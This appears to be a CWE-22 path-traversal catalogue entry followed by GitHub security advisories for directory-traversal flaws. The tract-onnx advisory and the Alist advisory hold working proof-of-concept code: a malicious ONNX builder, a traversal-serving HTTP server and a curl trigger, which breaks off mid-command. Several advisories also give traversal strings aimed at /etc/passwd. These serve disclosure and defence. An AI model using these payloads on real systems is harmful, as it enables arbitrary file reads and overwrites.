CWE-22
Weakness Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escape outside of the restricted location to access files or directories that are elsewhere on the system. One of the most common special elements is the "../" sequence, which in most modern operating systems is interpreted as the parent directory of the current location. This is referred to as relative path traversal. Path traversal also covers the use of absolute pathnames such as "/usr/local/bin" to access unexpected files. This is referred to as absolute path traversal.
Mapping guidance
This CWE entry might have children that would be more appropriate.
Examine children of this entry to see if there is a better fit. Consider children such as CWE-23 (or its descendants) for relative path traversal, or CWE-36 for absolute path traversal.
Relationships and members
Modes of introduction
Detection methods
Automated Static Analysis
Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the product's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.
Effectiveness: High
Manual Static Analysis
Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.
Effectiveness: High
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: High
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: High
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: High
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: High
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Other
In many programming languages, the injection of a null byte (the 0 or NUL) may allow an attacker to truncate a generated filename to apply to a wider range of files. For example, the product may add ".txt" to any pathname, thus limiting the attacker to text files, but a null injection may effectively remove this restriction.
Relationship
Pathname equivalence can be regarded as a type of canonicalization error.
Relationship
Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).
Terminology
Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.
Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.
Research Gap
Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.
Research Gap
Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.
Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.
Content history
Identified weakness in Perl demonstrative example
Provided diagram to improve CWE usability
Identified weakness in "good code" for Python demonstrative example
Provided a demonstrative example in PHP
updated Potential_Mitigations, Time_of_Introduction
Suggested OWASP Top Ten 2004 mapping
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
updated Description
updated Relationships, Taxonomy_Mappings
updated Potential_Mitigations
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
updated Potential_Mitigations
updated Potential_Mitigations
updated Potential_Mitigations
updated Relationships
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, References, Relationships
updated Potential_Mitigations
updated Observed_Examples
updated Related_Attack_Patterns, Relationships
updated Other_Notes, Research_Gaps
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Demonstrative_Examples
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
updated References, Relationships
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Related_Attack_Patterns, Relationships, Type
updated Relationships
updated Potential_Mitigations, Relationships
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updated Potential_Mitigations, Relationships
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updated Demonstrative_Examples, References, Relationships, Time_of_Introduction
updated Mapping_Notes, Relationships
updated Observed_Examples
updated Common_Consequences, Description, Diagram, Observed_Examples, Other_Notes, References
updated Demonstrative_Examples, Relationships
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updated Mapping_Notes, Relationships
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updated Applicable_Platforms, Common_Consequences, Name, References, Relationships, Taxonomy_Mappings
16090 vulnerabilities reference this CWE, most recent first.
GHSA-H655-VGCC-7FQV
Vulnerability from github – Published: 2022-05-17 04:38 – Updated: 2022-05-17 04:38Multiple directory traversal vulnerabilities in Bitdefender GravityZone before 5.1.11.432 allow remote attackers to read arbitrary files via a (1) .. (dot dot) in the id parameter to webservice/CORE/downloadFullKitEpc/a/1 in the Web Console or (2) %2E%2E (encoded dot dot) in the default URI to port 7074 on the Update Server.
{
"affected": [],
"aliases": [
"CVE-2014-5350"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-08-19T19:55:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Bitdefender GravityZone before 5.1.11.432 allow remote attackers to read arbitrary files via a (1) .. (dot dot) in the id parameter to webservice/CORE/downloadFullKitEpc/a/1 in the Web Console or (2) %2E%2E (encoded dot dot) in the default URI to port 7074 on the Update Server.",
"id": "GHSA-h655-vgcc-7fqv",
"modified": "2022-05-17T04:38:21Z",
"published": "2022-05-17T04:38:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-5350"
},
{
"type": "WEB",
"url": "https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20140716-3_Bitdefender_GravityZone_Multiple_critical_vulnerabilities_v10.txt"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Jul/78"
},
{
"type": "WEB",
"url": "http://www.bitdefender.com/support/how-to-configure-iptables-firewall-rules-on-gravityzone-for-restricting-outside-access-to-mongodatabase-1265.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H65H-28XW-W79Q
Vulnerability from github – Published: 2026-05-08 00:31 – Updated: 2026-05-08 00:31A weakness has been identified in huangjunsen0406 xiaozhi-mcphub up to 1.0.3. This vulnerability affects unknown code of the file src/controllers/dxtController.ts. This manipulation of the argument manifest.name causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-8116"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-08T00:16:09Z",
"severity": "LOW"
},
"details": "A weakness has been identified in huangjunsen0406 xiaozhi-mcphub up to 1.0.3. This vulnerability affects unknown code of the file src/controllers/dxtController.ts. This manipulation of the argument manifest.name causes path traversal. The attack may be initiated remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-h65h-28xw-w79q",
"modified": "2026-05-08T00:31:35Z",
"published": "2026-05-08T00:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8116"
},
{
"type": "WEB",
"url": "https://github.com/huangjunsen0406/xiaozhi-mcphub/issues/29"
},
{
"type": "WEB",
"url": "https://github.com/huangjunsen0406/xiaozhi-mcphub"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/808260"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/361904"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/361904/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-H65Q-98C2-Q928
Vulnerability from github – Published: 2026-10-19 18:32 – Updated: 2026-10-19 18:32IBM MQ Web Console could allow an authenticated administrator to write files outside the intended directory due to improper path validation.
{
"affected": [],
"aliases": [
"CVE-2026-12660"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-19T17:17:18Z",
"severity": "LOW"
},
"details": "IBM MQ Web Console could allow an authenticated administrator to write files outside the intended directory due to improper path validation.",
"id": "GHSA-h65q-98c2-q928",
"modified": "2026-10-19T18:32:15Z",
"published": "2026-10-19T18:32:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12660"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7292667"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H668-6X6G-F8R5
Vulnerability from github – Published: 2026-06-19 14:45 – Updated: 2026-06-19 14:45Summary
tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.
Details
In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:
let location = /* tensor.external_data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location); // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by default
Path::joinwith an absolutelocation(e.g./etc/passwd) discards the base directory →p = /etc/passwd.- A relative
../../../../etc/passwdvalue is not normalized → directory traversal. - The default
MmapDataResolver(onnx/src/data_resolver.rs) thenmmaps the file and copiesmmap[offset..offset+length]into the tensor.offset/lengthare also taken from the file; an out-of-range slice panics (DoS).
No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).
Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).
PoC
Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.
- A canary file the model must not be able to read:
/tmp/tract_canary_secret.txt→TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b - Build a small
evil.onnxwith aUINT8[37]initializer whoseexternal_dataislocation=/tmp/tract_canary_secret.txt(absolute),offset=0,length=37, fed throughIdentityto the output (raw protobuf serialization):
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt" # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
- Victim loads the untrusted model with the standard API:
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));
Output:
"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"
i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.
Impact
Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.
Suggested fix
Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.17"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "tract-onnx"
},
"ranges": [
{
"events": [
{
"introduced": "0.23.0"
},
{
"fixed": "0.23.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55832"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:45:43Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`tract` (the `tract-onnx` crate) resolves an ONNX tensor\u0027s external-data `location` by joining it onto the model directory **without any sanitization**. Because `location` comes from the (untrusted) `.onnx` file, a malicious model can make `tract` open and read an **arbitrary local file** at load time, with the file\u0027s contents flowing into the model\u0027s tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference `onnx` library hardened over several CVEs; `tract` resolves `location` itself and was never hardened.\n\n### Details\n\nIn `onnx/src/tensor.rs`, `get_external_resources()` builds the path with no checks:\n\n```rust\nlet location = /* tensor.external_data \"location\" value \u2014 attacker-controlled */;\nlet p = PathBuf::from(path).join(location); // no is_absolute / \"..\" / canonicalize / containment check\nprovider.read_bytes_from_path(\u0026mut tensor_data, \u0026p, offset, length)?; // Mmap::map(File::open(p)) by default\n```\n\n- `Path::join` with an **absolute** `location` (e.g. `/etc/passwd`) discards the base directory \u2192 `p = /etc/passwd`.\n- A **relative** `../../../../etc/passwd` value is not normalized \u2192 directory traversal.\n- The default `MmapDataResolver` (`onnx/src/data_resolver.rs`) then `mmap`s the file and copies `mmap[offset..offset+length]` into the tensor. `offset`/`length` are also taken from the file; an out-of-range slice **panics** (DoS).\n\nNo `is_absolute`, `..`, `canonicalize`, or containment check exists anywhere on this path (`tensor.rs`, `model.rs`, `data_resolver.rs`).\n\nReachable from the standard public API: `model_for_path(p)` (`onnx/src/model.rs`) sets `model_dir = p.parent()` and calls `load_tensor(proto, model_dir)` \u2192 `get_external_resources(.., model_dir)`.\n\n### PoC\n\nTested on `tract-onnx 0.21.16` (crates.io), Rust 1.96.\n\n1. A canary file the model must not be able to read:\n `/tmp/tract_canary_secret.txt` \u2192 `TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b`\n2. Build a small `evil.onnx` with a `UINT8[37]` initializer whose `external_data` is `location=/tmp/tract_canary_secret.txt` (absolute), `offset=0`, `length=37`, fed through `Identity` to the output (raw protobuf serialization):\n\n```python\nimport onnx\nfrom onnx import helper, TensorProto, StringStringEntryProto\nN = 37; LOC = \"/tmp/tract_canary_secret.txt\" # absolute -\u003e Path::join discards the base dir\nw = TensorProto(); w.name = \"W\"; w.data_type = TensorProto.UINT8\nw.dims.extend([N]); w.data_location = TensorProto.EXTERNAL\nfor k, v in [(\"location\", LOC), (\"offset\", \"0\"), (\"length\", str(N))]:\n e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)\nnode = helper.make_node(\"Identity\", [\"W\"], [\"Y\"])\nout = helper.make_tensor_value_info(\"Y\", TensorProto.UINT8, [N])\ng = helper.make_graph([node], \"g\", [], [out], initializer=[w])\nm = helper.make_model(g, opset_imports=[helper.make_opsetid(\"\", 13)])\nopen(\"evil.onnx\", \"wb\").write(m.SerializeToString())\n```\n\n3. Victim loads the untrusted model with the standard API:\n\n```rust\nlet model = tract_onnx::onnx().model_for_path(\"evil.onnx\")?;\nlet out = model.into_optimized()?.into_runnable()?.run(tvec!())?;\nlet bytes: Vec\u003cu8\u003e = out[0].to_array_view::\u003cu8\u003e()?.iter().cloned().collect();\nprintln!(\"{:?}\", String::from_utf8_lossy(\u0026bytes));\n```\n\nOutput:\n\n```\n\"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b\"\n```\n\ni.e. the contents of the arbitrary local file were read by `tract` and surfaced in the inference output.\n\n### Impact\n\nRead-only arbitrary local file disclosure when an application uses `tract` to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model\u0027s tensors / inference output. Secondary: denial of service (panic) via out-of-bounds `offset`/`length`. No write or code execution.\n\n### Suggested fix\n\nReject absolute `location` and any `..` component, then canonicalize and verify the resolved path stays within the model directory (mirroring `onnx` 1.22.0\u0027s `resolve_external_data_location`); reject symlinks; validate `offset`/`length` against the file size before slicing.",
"id": "GHSA-h668-6x6g-f8r5",
"modified": "2026-06-19T14:45:43Z",
"published": "2026-06-19T14:45:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sonos/tract/security/advisories/GHSA-h668-6x6g-f8r5"
},
{
"type": "PACKAGE",
"url": "https://github.com/sonos/tract"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx"
}
GHSA-H66R-8738-FM4G
Vulnerability from github – Published: 2021-12-21 00:00 – Updated: 2021-12-21 00:00Chain Sea ai chatbot system’s specific file download function has path traversal vulnerability. The function has improper filtering of special characters in URL parameters, which allows a remote attacker to download arbitrary system files without authentication.
{
"affected": [],
"aliases": [
"CVE-2021-44162"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-20T03:15:00Z",
"severity": "HIGH"
},
"details": "Chain Sea ai chatbot system\u2019s specific file download function has path traversal vulnerability. The function has improper filtering of special characters in URL parameters, which allows a remote attacker to download arbitrary system files without authentication.",
"id": "GHSA-h66r-8738-fm4g",
"modified": "2021-12-21T00:00:52Z",
"published": "2021-12-21T00:00:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44162"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-5397-b1f40-1.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-H672-P7H7-97V9
Vulnerability from github – Published: 2026-07-09 23:20 – Updated: 2026-07-09 23:20rattler_cache and py-rattler were vulnerable to package-cache path traversal when handling package metadata from conda channels.
During cache materialization, the ratter_cache code used the package record build string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that field, causing package contents to be written outside the configured package cache directory.
The issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form.
Users should upgrade to a patched version and avoid untrusted conda channels.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.2"
},
"package": {
"ecosystem": "crates.io",
"name": "rattler_cache"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.23.2"
},
"package": {
"ecosystem": "PyPI",
"name": "py_rattler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53956"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-09T23:20:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "`rattler_cache` and `py-rattler` were vulnerable to package-cache path traversal when handling package metadata from conda channels.\n\nDuring cache materialization, the `ratter_cache` code used the package record `build` string as part of a cache key that was joined into a filesystem path. A malicious or untrusted channel could publish repodata with path separators or traversal components in that field, causing package contents to be written outside the configured package cache directory.\n\nThe issue requires use of a malicious or otherwise untrusted conda channel. Curated channels that validate package metadata are not expected to allow malformed build strings of this form.\n\nUsers should upgrade to a patched version and avoid untrusted conda channels.",
"id": "GHSA-h672-p7h7-97v9",
"modified": "2026-07-09T23:20:12Z",
"published": "2026-07-09T23:20:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/conda/rattler/security/advisories/GHSA-h672-p7h7-97v9"
},
{
"type": "PACKAGE",
"url": "https://github.com/conda/rattler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Rattler vulnerable to package cache path traversal via conda package build string"
}
GHSA-H676-PJR4-HGQX
Vulnerability from github – Published: 2022-02-12 00:00 – Updated: 2022-02-23 15:52A Directory Traversal vulnerability exists in S-Cart 6.7 via download in sc-admin/backup.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "s-cart/s-cart"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-44111"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-23T15:52:20Z",
"nvd_published_at": "2022-02-11T18:15:00Z",
"severity": "MODERATE"
},
"details": "A Directory Traversal vulnerability exists in S-Cart 6.7 via download in sc-admin/backup.",
"id": "GHSA-h676-pjr4-hgqx",
"modified": "2022-02-23T15:52:20Z",
"published": "2022-02-12T00:00:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44111"
},
{
"type": "WEB",
"url": "https://github.com/s-cart/s-cart/issues/102"
},
{
"type": "WEB",
"url": "https://github.com/s-cart/core/commit/328dd312866b86144b43941dee2ad942708f70da"
},
{
"type": "PACKAGE",
"url": "https://github.com/s-cart/s-cart"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Path Traversal in S-Cart"
}
GHSA-H68W-6V33-769G
Vulnerability from github – Published: 2022-05-14 01:15 – Updated: 2022-05-14 01:15When accessing the heron-ui webpage, people can modify the file paths outside of the current container to access any file on the host. Example woule be modifying the parameter path= to go to the directory you would like to view. i.e. ..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd.
{
"affected": [],
"aliases": [
"CVE-2018-11789"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-21T16:00:00Z",
"severity": "HIGH"
},
"details": "When accessing the heron-ui webpage, people can modify the file paths outside of the current container to access any file on the host. Example woule be modifying the parameter path= to go to the directory you would like to view. i.e. ..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd.",
"id": "GHSA-h68w-6v33-769g",
"modified": "2022-05-14T01:15:59Z",
"published": "2022-05-14T01:15:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11789"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/5ea1a102d87a47c5912d745fa0d5dfa2830fc94099cbc30911f095b9@%3Cdev.heron.apache.org%3E"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107430"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H69H-RP3C-HVH5
Vulnerability from github – Published: 2025-01-08 09:30 – Updated: 2026-04-08 18:33The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.13 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read files outside of the originally intended directory.
{
"affected": [],
"aliases": [
"CVE-2024-9939"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-08T09:15:07Z",
"severity": "HIGH"
},
"details": "The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.13 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read files outside of the originally intended directory.",
"id": "GHSA-h69h-rp3c-hvh5",
"modified": "2026-04-08T18:33:47Z",
"published": "2025-01-08T09:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9939"
},
{
"type": "WEB",
"url": "https://abrahack.com/posts/wp-file-upload-rce-part1"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3188857/wp-file-upload"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e51f301-026d-4ed7-82f8-96c1623bf95c?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-H6CJ-26G5-67FV
Vulnerability from github – Published: 2026-09-03 17:37 – Updated: 2026-09-03 17:37Summary
Alist's offline-download feature (POST /api/fs/add_offline_download with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.
A non-admin user with PermAddOfflineDownload permission on any path is sufficient.
Affected code
internal/offline_download/http/util.go — filename returned verbatim from header:
func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
if contentDisposition == "" {
return "", fmt.Errorf("Content-Disposition is empty")
}
_, params, err := mime.ParseMediaType(contentDisposition)
if err != nil {
return "", err
}
filename := params["filename"]
if filename == "" {
return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil // ← no traversal stripping
}
internal/offline_download/http/client.go (SimpleHttp.Run):
filename := path.Base(urlPath) // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
filename = n // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath) // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)
server/handles/offline_download.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).
Note: tryPutUrl in internal/offline_download/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.
PoC
- Attacker has any alist account with
PermAddOfflineDownloadon some path it can write to (e.g./somefolder). - Attacker hosts a small HTTP listener:
from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json" # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()
- Trigger:
curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
-H 'Authorization: <session-token>' \
-H 'Content-Type: application/json' \
